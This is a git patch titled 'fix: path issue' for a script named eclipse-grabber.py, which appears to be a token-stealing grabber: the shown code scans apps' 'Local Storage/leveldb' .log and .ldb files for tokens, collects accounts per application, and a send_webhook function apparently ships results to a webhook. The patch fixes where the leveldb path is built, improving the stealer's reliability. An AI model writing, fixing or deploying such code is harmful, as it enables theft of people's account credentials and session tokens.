From 300c9032240845558f398afeb8f4e3114dc3d4f8 Mon Sep 17 00:00:00 2001
From: JMiki <themrjmiki@gmail.com>
Date: Tue, 25 Jan 2022 23:29:34 +0300
Subject: [PATCH] fix: path issue

---
 code/eclipse-grabber.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/code/eclipse-grabber.py b/code/eclipse-grabber.py
index 9a13859..fb6e106 100644
--- a/code/eclipse-grabber.py
+++ b/code/eclipse-grabber.py
@@ -198,7 +198,6 @@ def send_webhook(embeds: List[dict], WEBHOOK_URL: str):
 
 
 def get_tokens(path: str) -> List[str]:
-    path = os.path.join(path, "Local Storage", "leveldb")
     tokens = []
     for file_name in os.listdir(path):
         if not file_name.endswith(".log") and not file_name.endswith(".ldb"):
@@ -216,6 +215,7 @@ def get_tokens(path: str) -> List[str]:
 def get_accounts(host: Computer) -> dict:
     accounts = {}
     for app_name, path in host.get_paths().items():
+        path = os.path.join(path, "Local Storage", "leveldb")
         if not os.path.exists(path):
             continue
         for token in get_tokens(path):